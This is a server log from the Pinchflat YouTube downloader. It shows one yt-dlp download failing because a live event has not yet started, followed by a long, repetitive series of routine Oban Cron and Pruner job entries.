{"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:39.491 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SSBMMeRs_b8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/02/47/02478665ec9e283eedac1d415527b23c71cb2cdceb69c2409587c1842f42d9e1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] SSBMMeRs_b8: This live event will begin in 27 days. 22:48:39.491 [error] yt-dlp download error for media item #102577: "ERROR: [youtube] SSBMMeRs_b8: This live event will begin in 27 days.\n" 22:48:39.494 [debug] QUERY OK source="media_items" db=2.1ms idle=1808.7ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: [youtube] SSBMMeRs_b8: This live event will begin in 27 days.\n", ~U[2025-12-15 05:48:39Z], 102577] 22:48:39.495 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":102577},"id":2593,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3467617,"event":"job:exception","queue_time":782493,"attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:49:00.007 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:06.495 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:36.497 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.008 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:06.499 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:36.501 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.009 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:06.503 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:36.505 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.010 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:06.507 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:36.508 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.011 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:06.511 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:36.513 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.012 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:06.515 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:36.517 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.013 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:06.519 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:36.521 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.014 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:06.523 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:36.525 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.015 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:06.527 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:36.529 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.016 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:06.531 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:36.532 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.017 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:06.535 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:36.537 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.018 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:06.539 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:36.541 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.019 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:06.543 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:36.545 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.020 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:06.548 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:36.550 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.021 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:06.552 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:36.554 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.022 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:06.556 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:36.558 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.023 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:06.560 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:36.562 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.024 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:06.564 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:36.566 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.025 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:06.567 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:36.570 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.026 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:06.572 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:36.574 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.027 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:06.576 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:36.578 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.028 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:06.580 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:36.582 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.029 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:06.584 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:36.586 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.030 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:06.588 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:36.590 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.031 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:06.592 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:36.594 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.032 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:06.596 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:36.598 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.033 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:06.600 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:36.602 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.034 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:06.604 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:36.606 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.035 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:06.608 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:36.610 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.036 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:06.612 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:36.614 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.037 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:06.616 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:36.618 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.038 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:06.620 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:36.622 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.039 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:06.624 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:36.626 [info] {"source":"oban","duration":1875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.040 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:06.629 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:36.631 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.041 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:06.633 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:36.635 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.043 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:06.637 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:36.639 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.044 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:06.641 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:36.643 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.045 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:06.645 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:36.647 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.046 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:06.649 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:36.651 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.047 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:06.653 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:36.655 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.048 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:06.657 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:36.659 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.049 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:06.661 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:36.663 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.050 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:06.665 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:36.668 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.051 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:06.670 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:36.672 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.052 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:06.674 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:36.676 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.053 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:06.678 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:36.680 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.054 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:06.682 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:36.684 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.055 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:06.686 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:36.688 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.056 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:06.690 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:36.692 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.057 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:06.694 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:36.696 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.058 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:06.698 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:36.700 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.059 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:06.702 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:36.704 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.060 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:06.706 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:36.708 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.061 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:06.710 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:36.712 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.062 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:06.714 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:36.716 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.063 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:06.718 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:36.720 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.064 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:06.722 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:36.724 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.065 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:06.726 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:36.728 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.066 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:06.730 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:36.732 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.067 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:06.734 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:36.736 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.068 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:06.738 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:36.740 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.069 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:06.742 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:36.744 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.070 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:06.746 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:36.748 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.071 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:06.750 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:36.752 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.072 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:06.754 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:36.756 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.073 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:06.758 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:36.760 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.074 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:06.762 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:36.764 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.075 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:06.766 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:36.768 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.076 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:06.770 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:36.772 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.077 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:06.774 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:36.776 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.078 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:06.778 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:36.780 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.079 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:06.782 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:36.784 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.080 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:06.786 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:36.788 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.081 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:06.790 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:36.792 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.082 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:06.794 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:36.796 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.083 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:06.798 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:36.800 [info] 